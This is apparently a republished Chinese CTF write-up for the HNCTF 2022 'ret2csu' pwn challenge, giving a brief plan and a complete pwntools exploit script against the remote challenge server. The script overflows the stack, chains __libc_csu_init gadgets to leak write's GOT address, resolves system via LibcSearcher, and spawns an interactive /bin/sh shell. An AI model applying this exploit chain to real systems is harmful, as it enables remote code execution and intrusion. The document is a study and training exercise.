【PWN · ret2csu】[HNCTF 2022 WEEK2]ret2csu

news/2024/5/19 23:20:34 标签: pwn, ctf, ret2csu, stackoverflow

记一道ret2csu


一、题目

 

二、思路

1.ret2csu用write泄露write的真实地址->泄露libc->获得system的真实地址

2.ret2csu用read写/bin/sh字符串到bss段上

3.ret2csu用write将system的真实地址写到bss段上

4.ret2csu调用system

三、exp

from pwn import *
from pwn import p64
from LibcSearcher import *
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28036)
elf=ELF('./pwn')
# libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
write_got=elf.got['write']
read_got=elf.got['read']

io.recvuntil(b'Input:\n')

def ready_csu(rdi,rsi,rdx,func_ptr_addr):
    payload=p64(0x4012A6)
    payload+=b'junkbyte'
    payload+=p64(0)
    payload+=p64(1)
    payload+=p64(rdi)
    payload+=p64(rsi)
    payload+=p64(rdx)
    payload+=p64(func_ptr_addr)
    return payload

def exec_csu(choice,rdi=-1,rsi=-1,rdx=-1,func_ptr_addr=-1):
    payload=p64(0x401290)
    if choice:
        payload+=b'deadbeef'*7
    else:
        payload+=b'junkbyte'
        payload+=p64(0)
        payload+=p64(1)
        payload+=p64(rdi)
        payload+=p64(rsi)
        payload+=p64(rdx)
        payload+=p64(func_ptr_addr)
    return payload

# gdb.attach(io)        
success('bss-addr:{}'.format(hex(elf.bss())))
raw_input()
start=0x401090

payload=b'a'*(0x100+8)
payload+=ready_csu(1,write_got,0x8,write_got)+exec_csu(0,0,elf.bss()+0x500,0x100,read_got)+exec_csu(1)+p64(start)
io.send(payload)
io.recvuntil(b'Ok.\n')

write_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
io.send(b'/bin/sh\x00')
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
success('write:{}'.format(hex(write_addr)))

payload=b'a'*(0x100+8)
payload+=ready_csu(0,elf.bss()+0x550,0x100,read_got)+exec_csu(0,elf.bss()+0x500,0,0,elf.bss()+0x550)+exec_csu(1)+p64(start)
io.send(payload)
io.recvuntil(b'Ok.\n')
io.send(p64(system_addr))
raw_input()
io.interactive()


http://www.niftyadmin.cn/n/5169928.html

相关文章

使用Dockerfile依赖maven基础镜像部署springboot的程序案例

1、准备springboot Demo代码 就一个controller层代码,返回当前时间及hello world 2、项目根目录下,新建DockerFile文件 注意,等本地配置完毕后,Dockerfile文件需要与项目helloworld同级,这里先放项目里面 3、docker …

[100天算法】-颜色分类(day 69)

题目描述 给定一个包含红色、白色和蓝色,一共 n 个元素的数组,原地对它们进行排序,使得相同颜色的元素相邻,并按照红色、白色、蓝色顺序排列。此题中,我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。注意: 不能使…

机器学习——实践

目录 一、数据集划分 1、交叉验证 2、不平衡数据的处理 代价敏感学习 二、评价指标 三、正则化、偏差和方差 为什么要标准化/归一化? 过拟合的处理——Dropout 过拟合的处理——Early stopping 过拟合的处理——数据增强 偏差和方差 ​编辑 一、数据集划分…

nodejs+vue+python+PHP+微信小程序- 诗词学习网站的设计与实现-计算机毕业设计推荐

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性:…

LeetCode(2)移除元素【数组/字符串】【简单】

目录 1.题目2.答案3.提交结果截图 链接: 27. 移除元素 1.题目 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原…

全新Inner-IoU损失函数!!!通过辅助边界框计算IoU有效提升检测效果

摘要 1 简介 2 方法 2.1 边界框回归模式分析 2.2 Inner-IoU 损失 3 实验 3.1 模拟实验 3.2 对比实验 3.2.1 PASCAL VOC上的YOLOv7 3.2.2 YOLOv5 在 AI-TOD 上 4. 参考 摘要 随着检测器的快速发展,边界框回归(BBR)损失函数不断进…

Python的高级用法:字典解析式

字典解析式可用于根据现有的可迭代对象创建新的字典。在Python中,这种方式的语法非常直观,通常涉及一个迭代器、一个表达式对,以及一个可选的条件表达式。这与列表解析类似,但是创建的是字典而不是列表。 这里有一些字典解析的例…

Postman使用json提取器和正则表达式实现接口的关联

近期在复习Postman的基础知识,在小破站上跟着百里老师系统复习了一遍,也做了一些笔记,希望可以给大家一点点启发。 一)使用json提取器实现接口关联 实际项目场景,在财务信息页面,需要上传一个营业执照&…